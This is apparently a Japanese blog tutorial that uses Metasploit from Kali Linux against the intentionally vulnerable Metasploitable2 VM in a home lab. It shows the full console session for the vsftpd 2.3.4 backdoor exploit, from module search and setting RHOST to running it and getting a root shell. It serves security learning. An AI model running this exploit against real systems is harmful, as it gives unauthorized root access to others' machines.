Metasploitを試してみる
前回のペネトレーションテストの続きとしてMetasploitを試してみます。
事前準備
Kali Linuxをインストールします。
Official Kali Linux Downloads | Kali Linux
Metasploitの攻撃対象となるLinuxを立ち上げておきます。
Metasploitable - Browse /Metasploitable2 at SourceForge.net
Metasploitの起動
Kali Linux上でTerminalを起動し、以下のコマンドでMetasploitを起動します。
root@kali:~# msfconsole Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.14.10-dev ] + -- --=[ 1639 exploits - 944 auxiliary - 289 post ] + -- --=[ 472 payloads - 40 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
vsftpdの脆弱性をついたroot権限の取得
vsftpdのExploitを検索してみます。
root@kali:~# search vsftpd [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution
攻撃するために必要な情報を設定します。
msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port (TCP)
攻撃対象のIPアドレスをRHOSTに設定します。
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.0.5 RHOST => 192.168.0.5
再度、optionsを表示してRHOSTが設定されていることを確認。
msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.5 yes The target address RPORT 21 yes The target port (TCP)
攻撃をしてみます。
msf exploit(vsftpd_234_backdoor) > run [*] 192.168.0.5:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.0.5:21 - USER: 331 Please specify the password. [+] 192.168.0.5:21 - Backdoor service has been spawned, handling... [+] 192.168.0.5:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 2 opened (192.168.0.7:41265 -> 192.168.0.5:6200) at 2017-07-17 10:35:37 -0400
id
コマンドを叩くとroot権限が取得できていることがわかります。
id uid=0(root) gid=0(root)
こんなに簡単にroot権限が取得できるとは・・・。
これから色々と弄っていきます。
参考
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
- 作者: Justin Seitz,青木一史,新井悠,一瀬小夜,岩村誠,川古谷裕平,星澤裕二
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/10/24
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (11件) を見る